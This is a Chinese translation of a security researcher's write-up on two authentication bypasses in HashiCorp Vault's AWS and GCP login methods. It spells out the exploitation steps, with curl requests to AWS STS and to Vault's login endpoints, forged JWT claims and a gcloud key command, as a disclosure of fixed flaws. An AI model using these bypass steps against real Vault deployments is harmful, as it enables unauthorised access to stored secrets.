当前位置: 首页 > 科技观察

深入分析HashiCorpVault认证漏洞(下)

时间:2023-03-20 16:47:19 科技观察

在上一篇文章中,我们介绍了Vault的认证架构和欺骗调用者身份的方法。在本文中,我们将继续向读者介绍欺骗调用者身份并利用Vault-on-GCP漏洞的过程。STS(调用者)身份盗用(续)这使我们离窃取任意调用者身份的目标更近了一步:我们只需要找到一个反映攻击者控制的文本的STS操作并将其作为其API响应包含在内部分。然后它序列化其请求,包括一个Accept:application/json标头,并将任意GetCallerIdentityResponseXMLblob放入反射负载中。找到一个不限于字母数字字符的反射参数是很棘手的。经过反复试验,我决定以AssumeRoleWithWebIdentity操作及其SubjectFromWebIdentityToken响应元素为目标。其中,AssumeRoleWithWebIdentity用于将OpenIDConnect(OIDC)提供商签名的JSONWebTokens(JWT)转换为AWSIAM身份。使用有效的签名JWT向此操作发送请求将在SubjectFromWebIdentityToken字段中返回令牌的子字段。当然,普通的OIDC提供者不会在主题字段中使用XML负载签署JWT。但是,只要攻击者直接创建自己的OIDCIdentityProvider(IdP),并注册到自己的AWS账户,就可以使用自己的密钥对任意令牌进行签名。让我们将所有这些放在一起以启动整个攻击:创建一个OIDCIdP。本质上,生成一个RSA密钥对,创建一个OIDCdiscovery.json和key.json文档,并将json文件托管在Web服务器上(有关使用S3的示例设置,请参见此处)。使用您自己的AWS帐户注册OIDIdP->AWSIAM角色映射。需要注意的是这里的AWS账号不需要和我们的target有任何关系。现在,我们可以使用我们的OIDP来签署JWT,它可以放置任何GetCallerIdentityResponse,只要它是主题声明的一部分。解码令牌示例可能如下所示:iss、azp和aud与步骤2中指定的详细信息完全匹配。其中,sub包含我们的假响应,它将我们标识为AWSIAM账户arn:aws:iam::superprivileged-aws-账户。{'iss':'https://oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/','azp':'abcdef','aud':'abcdef','sub':'','exp':1595120834,'iat':1594207895}我们可以通过使用步骤3中的(已签名的)令牌和步骤2中使用的RoleArn直接向STSAssumeRoleWithWebIdentity操作发送请求来测试一切设置是否正确:curl-H"接受:application/json"'https://sts.amazonaws.com/?DurationSeconds=900&Action=AssumeRoleWithWebIdentity&Version=2011-06-15&RoleSessionName=web-identity-federation&RoleArn=arn:aws:iam::XZY::YOUR-OIDC-ROLE&WebIdentityToken=YOURTOKEN'如果一切按计划进行,STS将反映令牌主题作为其JSON编码响应的一部分。如上所述,GoXML解码器将跳过GetCallerIdentityResponse对象前后的所有内容,使Vault认为这是一个有效的STSCallerIdentity响应。{"AssumeRoleWithWebIdentityResponse":{"AssumedRoleWithWebIdentityResult":{"AssumedRoleUser":{"Arn":"arn:aws:iam::XZY::YOUR-OIDC-ROLE/web-identity-federation","AssumedRoleId":"AROATQ4R7PP5JJNLOF5P6:web-identity-federation"},"Audience":"abcdef","Credentials":{...},"PackedPolicySize":null,"Provider":"arn:aws:iam::242434931706:oidc-provider/oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/","SubjectFromWebIdentityToken":""},"ResponseMetadata":....}最后一步是将请求转换为Vault期望的形式(例如,使用base64编码所有必需的标头、url和一个空的发布文本)并将其作为登录请求发送到目标Vault服务器/v1/auth/aws/login。之后,Vault将反序列化请求,将其发送到STS,并误解响应。如果我们伪造的GetCallerIdentityResponse中的AWSARN/UserID在Vault服务器上具有特权,我们将获得一个有效的会话令牌,然后我们可以使用它与Vault服务器交互以获取更多秘密。curl-XPOST"https://vault-server/v1/auth/aws/login"-d'{"role":"dev-role-iam","iam_http_request_method":"POST","iam_request_body":"encoded-body","iam_request_headers":"encoded-headers","iam_request_url":"encoded-url"}'{"request_id":"59b09a0b-f5d5-f4c4-8ed0-af86a2c1f5d4","lease_id":"","renewable":false,"lease_duration":0,"data":null,"wrap_info":null,"warnings":["TTLof\"768h\"exceededtheeffectivemax_ttlof\"500h\";TTLvalueiscappedaccordingly"],"auth":{"client_token":"s.Kx3bUNw6wEc5bbkrKBiGW6WL","accessor":"TBRh0hvfd4FkYEAyFrUE3i2P","policies":["default","dev","prod"],"token_policies":["default","dev",,”prod"],"metadata":{"account_id":"242434931706","auth_type":"iam","role_id":"47faaf36-c8ab-c589-396c-2643c26e7b30"},"lease_duration":1800000,"可更新":true,"entity_id":"447e1efe-0fd4-aa10-3a54-52405c0c69ab","token_type":"service","orphan":true}}我写了一个概念验证漏洞,负责创建JWT和序列化等。虽然OIDC供应商设置增加了一些复杂性,但我们仍然可以绕过所有启用AWS的角色的身份验证。这里唯一的要求是攻击者需要知道特权AWS角色的名称。那么问题从何而来呢?从攻击者的角度来看,整个认证机制看起来很巧妙,但是很容易出错。将HTTP请求转发放到安全产品未认证的外部攻击面需要实现和底层HTTP库有极高的可信度。由于安全性取决于安全令牌服务的实现细节,这ma你随时都在变,这让事情变得更加困难。例如,AWS可能决定使用STS放置在负载平衡前端的后面,并使用Host标头进行路由决策。如果发生这种情况,如果不对Vault代码库进行相应修改,则可能会严重降低这种身份验证机制的安全性。当然,在身份验证之后,这是有原因的:AWSIAM没有直接的方式向其他非AWS服务证明服务的身份。第三方服务无法轻松验证预签名请求,AWSIAM不提供实现基于证书的身份验证或JWT的方法。标准签名原语。最后,Hashicorp通过强制执行HTTP头文件的允许列表、限制使用GetCallerIdentity操作的请求以及加强STS响应的验证来修复该漏洞,希望防止STS实现或STS和Golang之间的HTTP解析器发生意外更改差异的影响。在AWS身份验证模块中发现此问题后,我决定审查其GCP等效项。下一节将介绍Vault的GCP身份验证是如何实现的,以及一个简单的逻辑缺陷如何导致许多配置中的身份验证绕过。利用Vault-on-GCP漏洞Vault支持部署在GoogleCloud上的gcp身份验证方法。与AWS的同类产品类似,这种认证方式支持两种不同的认证机制:iam和gce机制。其中,iam机制可以支持任何服务账号,可以在AppEngine或CloudFunctions等服务中使用,而gce只能用于验证运行在GoogleComputeEngine上的虚拟机。尽管如此,它还是有一些优势:gce不仅可以根据服务帐户身份做出身份验证决策,还可以根据多个VM属性授予访问权限。例如,配置可以只允许特定区域(europe-west-6)中的虚拟机访问某些机密信息,允许对xyz-prodGCP项目中的所有虚拟机的所有访问权限,或者使用实例组进一步访问权限限制。其实iam和gce的认证机制都是基于JWT的。想要进行身份验证的保险库客户端需要创建一个签名令牌来证明其身份并将其发送到保险库服务器以获取会话令牌。对于IAM机制,客户端可以直接使用其控制的服务账户的私钥或使用projects.serviceAccounts.signJwtIAMAPI方法对令牌进行签名。对于gce,客户端需要运行在授权的GCE虚拟机上。它通过向GCP元数据服务器的实例身份端点发送请求来获取签名令牌。与服务帐户令牌不同,此令牌由官方Google证书签名。除了正常的JWT声明(sub、aud、iat、exp)之外,从元数据服务器返回的令牌还包含一个特殊的compute_engine声明,其中列出了有关将用作身份验证过程一部分的实例的相关详细信息。处理了一部分。“google”:{“compute_engine”:{“instance_creation_timestamp”:1594641932,“instance_id”:“671398237781058XXXX”,“instance_name”:“vault”,“project_id”:“fwilhelm-testing-XXXX”,“project_number”:950612XXXX,"zone":"europe-west3-c"}}JWT在其设计中有很多选项,这使得它的实现非常有问题(请参阅securitum的这篇博客文章以了解典型问题的概述),所以,我决定花回顾Vault的令牌处理机制的一天。其实parseAndValidateJwt函数是专门负责处理gce和iamtoken的。该函数首先解析令牌而不验证签名,并将解码后的令牌传递给getSigningKey辅助方法://ProcessJWTstring.signedJwt,ok:=data.GetOk("jwt")if!ok{returnnil,errors.New("jwtargumentisrequired")}//Parse'kid'keyidfromheaders.jwtVal,err:=jwt.ParseSigned(signedJwt.(string))iferr!=nil{returnil,errwrap.Wrapf("unabletoparsesignedJWT:{{err}}",err)其中getSigningKey将从令牌标头中提取密钥idclaim(kid),并尝试查找具有相同标识符的google-wideoAuth密钥。它适用于GCE元数据令牌,但不适用于服务帐户签名的令牌:func(b*GcpAuthBackend)getSigningKey(...)(interface{},error){b.Logger().Debug("GettingsigningKeyforJWT")iflen(token.Headers)!=1{returnnil,errors.New("expectedtokentohaveexactlyoneheader")}kid:=token.Headers[0].KeyIDb.Logger().Debug("kidfoundforJWT","kid",kid)//TrygettingGoogle-widekeyk,gErr:=gcputil.OAuth2RSAPublicKey(ctx,kid)ifgErr==nil{b.Logger().Debug("FoundGoogleOAuth2providerkey","kid",kid)returnk,nil}如果此方法失败,Vault服务器将从提供的令牌中提取Subject(sub)声明。对于有效令牌,此声明将包含签名服务帐户的电子邮件地址。知道令牌的密钥ID和主题后,Vault可以使用服务帐户GCPAPI获取用于签名的公钥://Ifthatfailed,trytogetaccount-specifickeyb.Logger().Debug("UnabletogetGoogle-wideOAuth2Key,tryingservice-accountpublickey")saId,err:=getJWTSubject(rawToken)iferr!=nil{returnnil,err}k,saErr:=gcputil.ServiceAccountPublicKey(saId,kid)ifsaErr!=nil{returnnil,errwrap.Wrapf(fmt.Sprintf("unabletogetpublickey%qforJWTsubject%q:{{err}}",kid,saId),saErr)}returnk,nil在这两种情况下,Vault服务器现在都可以访问公钥来验证JWT的签名://Parseclaimsandverifysignature.baseClaims:=&jwt.Claims{}customClaims:=&gcputil.CustomJWTClaims{}iferr=jwtVal.Claims(key,baseClaims,customClaims);err!=nil{returnil,err}iferr=validateBaseJWTClaims(baseClaims,loginInfo.RoleName);err!=nil{returnil,err}如果身份验证成功,Vault将填充loginInfo结构,稍后用于授予或拒绝访问。如果令牌包含compute_engine声明,它会被复制到logininfo.gceMetada字段中:}登录信息...通过不包含GCEcompute_engine声明的服务帐户。虽然GCE元数据令牌中的内容受Google信任和控制,但服务帐户令牌完全由服务帐户的所有者控制,因此可能包含任意cl目标。如果我们按照gce方法的控制流程进行到底,我们会发现Vault将使用pathGceLogin中的loginInfo.GceMetadata作为其身份验证决策的一部分,如果满足以下两个条件:元数据部分中描述的VM需要存在。这是使用GCEAPI验证的,并且需要攻击者模拟正在运行的VM。实际上,只有project_id、zone和instance_name需要验证,需要设置为有效值。JWT令牌的主题声明中的服务帐户必须存在。这是通过ServiceAccountGCPAPI进行身份验证的,这需要托管服务帐户的项目中的am.ServiceAccounts.Get权限。由于攻击者可以在自己的项目中使用服务账号,所以只需要将这个权限授予VaultGCP身份,甚至allUsers即可。最后,调用AuthorizeGCE以授予或拒绝访问权限。如果攻击者使用正确的属性(项目、标签、区域等)模拟GCE实例并且一切正常,则攻击者将获得有效的会话令牌。唯一无法绕过的身份验证限制是硬编码的服务帐户名称,因为该值等于攻击者帐户,而不是预期的VM帐户名称。针对易受攻击配置的端到端攻击过程如下:1.在您控制的GCP项目中创建一个服务帐户并使用gcloud生成私钥:gcloudiamservice-accountskeyscreatekey.json--iam-帐户sa-name@project-id.iam.gserviceaccount.com。2.使用伪造的compute_engine声明签署JWT,以模拟现有的特权虚拟机。请在此处查看一个简单的概念验证脚本,其中包含大部分细节。3.现在,只需使用令牌登录Vault:curl--requestPOST--data'{"role":"my-gce-role","jwt":"....."}'http://vault:8200/v1/auth/gcp/login这是一个非常有趣的漏洞,需要一些GCPIAM知识才能发现它。该漏洞的来??源似乎是在parseAndValidateJwt函数中,将两个独立的身份验证流程合并到一个代码路径中,这使得在编写或审查代码时很难弄清楚所有的安全要求。同时,由于GCP提供了两种安全属性完全不同的JWTtoken,很容易中枪。摘要本文描述了HashiCorpVault中暴露的两个身份验证漏洞,HashiCorpVault是一种用于管理机密信息的“云原生”软件。虽然Vault显然是在考虑安全性的情况下开发的,并且极大地受益于其实现语言Go的内存安全性和高质量标准库,但我仍然能够在其免身份验证攻击面中找到两个关键漏洞。以我的经验,在开发人员必须与外部系统和服务交互的地方经常存在这样的棘手漏洞。一个强大的开发人员可能能够推理出他自己的软件的所有安全边界、要求和陷阱,但是一旦出现复杂的外部服务,保护软件就变得非常困难。虽然现代云IAM解决方案功能强大且通常比同类本地解决方案更安全,但它们具有自身的安全隐患和高实施复杂性。随着越来越多的公司迁移到大型云提供商,熟悉这些技术堆栈将成为安全工程师和研究人员的关键技能,可以肯定地说,未来几年肯定会暴露出越来越多的类似问题。最后,本文讨论的两个漏洞表明编写安全软件有多么困难。即使使用内存安全语言、强大的密码原语、静态分析和大型混淆基础设施,某些问题也只能通过手动代码审查和攻击者的思维方式来发现。本文翻译自:https://googleprojectzero.blogspot.com/2020/10/enter-the-vault-auth-issues-hashicorp-vault.html如有转载请注明原文地址。